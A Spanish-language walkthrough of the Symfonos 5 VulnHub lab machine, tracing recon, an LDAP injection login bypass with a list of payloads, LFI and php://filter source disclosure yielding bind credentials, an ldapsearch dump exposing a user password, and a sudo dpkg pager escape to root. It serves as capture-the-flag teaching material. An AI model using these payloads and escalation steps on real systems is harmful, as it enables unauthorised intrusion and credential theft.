the_open_door
café
ESEN

Symfonos 5

VulnHubFácilLinux192.168.1.157

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#ldap#ldap-injection#auth-bypass#lfi#path-traversal#php-filter#source-disclosure#ldapsearch#sudo#gtfobins#dpkg
TL;DR. El puerto 389 (LDAP) y un admin.php con login apuntan a lo mismo: el panel autentica contra LDAP, y poniendo * en usuario y contraseña se cuela un bypass por inyección LDAP. Dentro, la sección Portraits usa un parámetro url vulnerable a LFI; con php://filter leemos el código de admin.php y sacamos las credenciales del bind (admin:qMDdyZh3cT6eeAWD). Con ellas, un ldapsearch vuelca el directorio y devuelve la contraseña de zeus en base64 (cetkKf4wCuHC9FET). Por SSH, zeus tiene sudo dpkg: GTFOBins cierra la caja.

Reconocimiento

Descubrimiento del host

La máquina es una imagen de VulnHub que arranca en la red local, así que lo primero no es escanear puertos sino localizarla. Un barrido ARP la saca entre los vecinos por su MAC de VMware:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan lista los hosts del segmento y 192.168.1.157 aparece con una MAC de VMware, Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.129   b0:a4:60:cf:91:26   Intel Corporate
192.168.1.138   f4:03:2a:28:e7:36   Amazon Technologies Inc.
192.168.1.157   00:0c:29:16:11:ea   VMware, Inc.
192.168.1.142   98:01:a7:8a:fa:55   Apple, Inc.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.598 seconds (98.54 hosts/sec). 9 responded

Un ping confirma que responde y, de paso, orienta sobre el sistema operativo:

ping -c 1 192.168.1.157

ping a 192.168.1.157 con una respuesta ttl=64 en 0.416 ms

PING 192.168.1.157 (192.168.1.157) 56(84) bytes of data.
64 bytes from 192.168.1.157: icmp_seq=1 ttl=64 time=0.416 ms

--- 192.168.1.157 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 64 y sin decrementar, porque la máquina está en el mismo segmento y no hay saltos de routing de por medio. Linux parte de 64 y Windows de 128, así que apunta a Linux; indicio, no prueba.

Escaneo inicial

El escaneo de puertos abre cuatro puertos, y dos de ellos (389 y 636) delatan un servicio LDAP. Ese detalle marca por dónde irá la explotación.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.1.157

el escaneo SYN completo descubre los puertos 22, 80, 389 y 636 abiertos en 7 segundos

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 64
80/tcp  open  http    syn-ack ttl 63
389/tcp open  ldap    syn-ack ttl 63
636/tcp open  ldapssl syn-ack ttl 63
MAC Address: 00:0C:29:16:11:EA (VMware)

Aquí hay ya un detalle que conviene guardar: el 22 responde con ttl 64 y los otros tres con ttl 63. Un salto de diferencia dentro de la misma IP significa que esos servicios no viven en el mismo sitio que el SSH, sino un salto más allá. Es la primera señal de que hay contenedores por medio.

El fichero -oG del escaneo lo resume extractPorts, que además copia la lista al portapapeles para el escaneo dirigido:

extractPorts scan

extractPorts resume el escaneo: IP 192.168.1.157 y puertos abiertos 22,80,389,636

Extracting information ...
IP Address: 192.168.1.157
Open ports: 22,80,389,636

Ports copied to clipboard
nmap -p22,80,389,636 -sCV 192.168.1.157 -oN targeted

nmap -sCV: OpenSSH 7.9p1 Debian, Apache 2.4.29 Ubuntu y OpenLDAP en el 389

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X
636/tcp open  ldapssl?
MAC Address: 00:0C:29:16:11:EA (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Hay un detalle que conviene no pasar por alto: el SSH se identifica como Debian 10 y el Apache como Ubuntu. Dos distribuciones distintas en la misma IP significa que el web no corre sobre el sistema anfitrión, sino dentro de un contenedor. Es una hipótesis que más adelante se confirma sola, cuando el código del panel apunte a un LDAP en 172.18.0.22, una dirección del rango que Docker reserva para sus redes puente.

El OpenLDAP 2.2.X - 2.3.X del 389 confirma además el servicio que ya insinuaba el par 389/636.

Panel /admin.php

La web raíz no tiene ni título. whatweb no añade gran cosa, solo confirma el Apache y el Ubuntu que ya daba el -sCV:

whatweb 192.168.1.157

whatweb sobre 192.168.1.157 devuelve 200 OK, Apache 2.4.29 y HTTPServer Ubuntu Linux

http://192.168.1.157 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.1.157]

Y en el navegador, lo mismo: una única imagen a pantalla completa de un Zeus y una extensión Wappalyzer que solo detecta Apache y Ubuntu, sin framework ni lenguaje que rascar.

la portada de 192.168.1.157 es una ilustración de Zeus a pantalla completa, con Wappalyzer detectando solo Apache HTTP Server 2.4.29 y Ubuntu

Ver el código fuente explica el porqué del sitio: es literalmente esa imagen, sin nada más.

view-source de la portada: html con una sola etiqueta img apuntando a /static/zeus.jpg

<body>
<img src="/static/zeus.jpg">
</body>

Ni comentarios, ni scripts, ni formularios. El único dato aprovechable es el nombre del fichero, zeus.jpg, que resultará ser también el del usuario del sistema. Sin superficie en la portada, toca buscar rutas, y añadir -x php es lo que destapa el panel:

dirsearch -u http://192.168.1.157/ --exclude-status=403,404

dirsearch encuentra admin.php con 200, home.php y logout.php redirigiendo a admin.php, y el directorio static

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.157/

[22:25:58] 200 -   458B - /admin.php
[22:26:14] 302 -     0B - /home.php     ->  admin.php
[22:26:18] 302 -     0B - /logout.php   ->  admin.php
[22:26:31] 301 -   315B - /static       ->  http://192.168.1.157/static/

dirsearch prueba extensiones por defecto (php, aspx, jsp, html, js) y por eso encuentra los .php a la primera. gobuster, en cambio, no: sin decirle qué extensiones probar solo ve directorios, y el resultado es casi vacío.

gobuster dir -u http://192.168.1.157 -w <directory-list-2.3-medium.txt> -t 100 -b 404

gobuster sin extensiones recorre 220563 peticiones y solo devuelve /static y /server-status

/static               (Status: 301) [Size: 315]  [--> http://192.168.1.157/static/]
/server-status        (Status: 403) [Size: 278]

220563 peticiones para dos resultados, ninguno útil. La diferencia no está en el diccionario sino en el flag: añadir -x php es lo que destapa el panel.

gobuster dir -u http://192.168.1.157 -w <directory-list-2.3-medium.txt> -t 100 -b 404 -x php

gobuster con -x php lista home.php, admin.php, logout.php y portraits.php

/home.php             (Status: 302) [Size: 0]    [--> admin.php]
/admin.php            (Status: 200) [Size: 1650]
/static               (Status: 301) [Size: 315]  [--> http://192.168.1.157/static/]
/logout.php           (Status: 302) [Size: 0]    [--> admin.php]
/portraits.php        (Status: 200) [Size: 165]
/server-status        (Status: 403) [Size: 278]

La lista dibuja la aplicación entera de un vistazo: home.php y logout.php responden 302 hacia admin.php, es decir, exigen sesión, mientras que admin.php devuelve 200 con 1650 bytes. Ese es el único punto de entrada sin autenticar, y tiene toda la pinta de ser el panel de login:

Panel de login en 192.168.1.157/admin.php con campos Username y Password

Con un LDAP a la vista, la primera prueba es un bypass por inyección.

Acceso al panel: inyección LDAP

Bypass con comodín

Los payloads no hay que inventarlos: HackTricks mantiene una lista de cadenas para saltarse un login autenticado contra LDAP, y la primera de todas es el comodín a secas.

la sección LDAP Injection authentication bypass de HackTricks con la lista de payloads, empezando por el asterisco

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Si el panel valida con un filtro tipo (&(uid=<user>)(userPassword=<pass>)), poner * en ambos campos lo convierte en "cualquier usuario con cualquier contraseña":

El login con un asterisco (*) en Username y en Password: el payload de inyección LDAP

Username: *
Password: *
# -> (&(uid=*)(userPassword=*))  ->  acceso concedido

Entramos sin conocer ninguna credencial. La aplicación de dentro es mínima, un "Under Developement" con una barra de tres secciones:

home.php tras el bypass, con la barra symfonos y las secciones Home, Portraits y Logout sobre el texto Under Developement

Al pulsar la del medio, la barra de direcciones canta:

home.php?url=http://127.0.0.1/portraits.php cargando la galería de retratos

http://192.168.1.157/home.php?url=http://127.0.0.1/portraits.php

home.php no enlaza a portraits.php, lo carga a través de un parámetro, y encima por una URL completa contra 127.0.0.1. Un parámetro que acepta un recurso arbitrario y lo incluye es el patrón de manual de un LFI. Que además acepte un esquema (http://) sugiere que detrás hay una función de PHP que resuelve wrappers, cosa que se aprovechará en cuanto haya que leer código.

LFI en el parámetro url

Sustituyendo la URL por una ruta local, el fichero se incluye sin más:

home.php?url=/etc/passwd mostrando el /etc/passwd y, en la barra de navegación, el enlace Portraits que usa home.php?url=http://127.0.0.1/portraits.php

http://192.168.1.157/home.php?url=/etc/passwd

Como el propio admin.php autentica contra LDAP, es probable que su código contenga las credenciales del bind. Para leerlo sin que el servidor lo interprete (es PHP), usamos el wrapper de codificación.

Robo del código con php://filter

php://filter devuelve el fichero en base64, que decodificamos en local:

curl 'http://192.168.1.157/home.php?url=php://filter/convert.base64-encode/resource=/var/www/html/admin.php' | base64 -d

La página devuelve el contenido de admin.php como una cadena base64 en lugar de ejecutarlo

192.168.1.157/home.php?url=php://filter/convert.base64-encode/resource=/var/www/html/admin.php

symfonos

PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKaWYoaXNzZXQoJF9TRVNTU9OWyJsb2dnZWRpbiJdKSAmJiAkX1NFU1NJT05bImxvZ2
Pgo8aHRtbD4KPGhlYWQ+CjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdGF0aWMvYm9vdHN0cm
cGhwIGVjaG8gJG1zZzsgPz48L3N0cm9uZz48L2NlbnRlcj4KPC9kaXY+CjwvYm9keT4KPC9odG1sPgoK

El navegador ya no muestra la página renderizada sino un bloque de base64: el wrapper ha interceptado la lectura antes de que el intérprete tocara el fichero. Se copia, se decodifica en local y se lee con resaltado:

echo "<cadena-base64>" | base64 -d > ../content/admin.php

el echo con la cadena base64 completa de admin.php pasada por base64 -d y redirigida a un fichero local

batcat --paging=never admin.php -l php

Código de admin.php decodificado: authLdap con ldap_connect a 172.18.0.22 y ldap_bind con cn=admin,dc=symfonos,dc=local y la contraseña qMDdyZh3cT6eeAWD

function authLdap($username, $password) {
    $ldap_ch = ldap_connect("ldap://172.18.0.22");
    ...
    $bind = ldap_bind($ldap_ch, "cn=admin,dc=symfonos,dc=local", "qMDdyZh3cT6eeAWD");
    ...
    $filter = "(&(uid=$username)(userPassword=$password))";

El código revela el bind: cn=admin,dc=symfonos,dc=local con contraseña qMDdyZh3cT6eeAWD, y el filtro (&(uid=$username)(userPassword=$password)) que confirma por qué funcionó la inyección.

Y cierra además la hipótesis que había dejado abierta el escaneo: el ldap_connect no apunta a localhost ni a la IP de la máquina, sino a 172.18.0.22, del rango que Docker usa por defecto para sus redes puente. El Apache "Ubuntu" sobre un SSH "Debian" ya lo insinuaba; aquí queda a la vista que la web habla con el LDAP a través de una red de contenedores.

Acceso como zeus

Enumerar LDAP con ldapsearch

Con las credenciales del bind volcamos todo el directorio:

ldapsearch -x -H ldap://192.168.1.157 -D "cn=admin,dc=symfonos,dc=local" -w 'qMDdyZh3cT6eeAWD' -b "dc=symfonos,dc=local"

ldapsearch vuelca el árbol dc=symfonos,dc=local con las entradas admin y zeus

# admin, symfonos.local
dn: cn=admin,dc=symfonos,dc=local
description: LDAP administrator
userPassword:: e1NTSEF9VVdZeHZ1aEEwYldzamZyMmJodHhRYmFwcjllU2dLVm0=

# zeus, symfonos.local
dn: uid=zeus,dc=symfonos,dc=local
uid: zeus
loginShell: /bin/bash
homeDirectory: /home/zeus
userPassword:: Y2V0a0tmNHdDdUhDOUZFVA==
mail: zeus@symfonos.local

El doble dos puntos (userPassword::) no es un capricho de formato: en LDIF significa que el valor va codificado en base64. Los dos se decodifican igual, pero no dan lo mismo:

base64 -d de las dos cadenas: la de admin es un {SSHA}, la de zeus es texto claro

echo "e1NTSEF9VVdZeHZ1aEEwYldzamZyMmJodHhRYmFwcjllU2dLVm0=" | base64 -d
# {SSHA}UWYxvuhA0bWsjfr2bhtxQbapr9eSgKVm

echo "Y2V0a0tmNHdDdUhDOUZFVA==" | base64 -d
# cetkKf4wCuHC9FET

La de admin es un {SSHA}, un hash salado que habría que romper. La de zeus sale directamente en claro: la base64 no era cifrado, solo transporte. Y su loginShell: /bin/bash dice que es un usuario real del sistema, no una cuenta de directorio, así que la contraseña vale la pena probarla contra el SSH.

SSH como zeus

zeus:cetkKf4wCuHC9FET es válido por SSH:

ssh zeus@192.168.1.157

Login SSH como zeus en symfonos5; id devuelve uid=1000(zeus)

zeus@192.168.1.157's password:
Linux symfonos5 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
...
Last login: Wed Feb  5 06:14:43 2020 from 172.16.1.1
zeus@symfonos5:~$ id
uid=1000(zeus) gid=1000(zeus) groups=1000(zeus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

zeus es un usuario normal, sin grupos interesantes para escalar: los que aparecen (cdrom, audio, video…) son los de escritorio que Debian asigna por defecto.

Escalada a root

sudo dpkg

sudo -l

sudo -l muestra (root) NOPASSWD: /usr/bin/dpkg para zeus

Matching Defaults entries for zeus on symfonos5:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User zeus may run the following commands on symfonos5:
    (root) NOPASSWD: /usr/bin/dpkg

Una sola entrada, sin contraseña. dpkg ejecutable como root es un GTFOBins: no hay que buscarle un fallo, la propia ficha del binario documenta la vía de escape.

la ficha de dpkg en GTFOBins, sección Sudo, con el payload sudo dpkg -l seguido de la exclamación y bin sh

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be
used to access the file system, escalate or maintain privileged access.

(a) This invokes the default pager, which is likely to be less, other functions may apply.

    sudo dpkg -l
    !/bin/sh

El truco es que dpkg -l pagina su salida con less, y less permite lanzar comandos con !. Como el paginador lo arranca el propio dpkg, que corre como root, la shell que abra también lo será.

sudo dpkg -l

sudo dpkg -l lista los paquetes instalados dentro del paginador

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name              Version          Architecture
+++-=================-================-============
ii  adduser           3.118            all
ii  ame               1.0              amd64
ii  apparmor          2.13.2-10        amd64
ii  apt               1.8.2            amd64

Dentro del paginador se escribe el escape (aquí bash en vez del sh de la ficha, que funciona igual):

dentro del paginador de dpkg -l se teclea la exclamación seguida de bin bash

!/bin/bash

sudo dpkg -l abriendo el paginador y !/bin/bash dando una shell root que lee proof.txt: Congrats on rooting symfonos:5!

!/bin/bash
root@symfonos5:/# id
uid=0(root) gid=0(root) groups=0(root)
root@symfonos5:~# cat proof.txt

          Congrats on rooting symfonos:5!

Dentro del paginador de dpkg -l, !/bin/bash escapa a una shell que hereda el UID de sudo: uid=0(root). Nótese que el secure_path del sudoers no protege de nada aquí, porque no hay ningún binario que suplantar: el propio programa autorizado trae la vía de escape de serie.

Caja rooteada.

Cadena de ataque

LDAP (389) + admin.php  ->  inyección LDAP (*/*) -> acceso al panel
    └─> home.php?url=  ->  LFI  ->  php://filter lee admin.php
            └─> credenciales del bind (admin:qMDdyZh3cT6eeAWD)
                    └─> ldapsearch  ->  zeus:cetkKf4wCuHC9FET  ->  SSH
                            └─> sudo dpkg (GTFOBins)  ->  root

Lecciones aprendidas

  • Un 389/636 abierto orienta toda la caja. El login contra LDAP invita a probar el bypass con comodín antes que cualquier fuerza bruta.
  • La inyección LDAP con * es el "OR 1=1" de los directorios. Un filtro sin escapar convierte "cualquiera con cualquiera" en un acceso válido.
  • Un LFI sobre un .php se lee con php://filter. Así se obtiene el código fuente sin que se ejecute, y con él las credenciales embebidas del bind.
  • Guardar contraseñas en base64 no es guardarlas. El userPassword de zeus estaba a un base64 -d de texto claro.
  • dpkg por sudo es root. Cualquier binario con paginador en sudo -l suele permitir un escape a shell.
Cheatsheet de comandos 16 comandos

Repaso rápido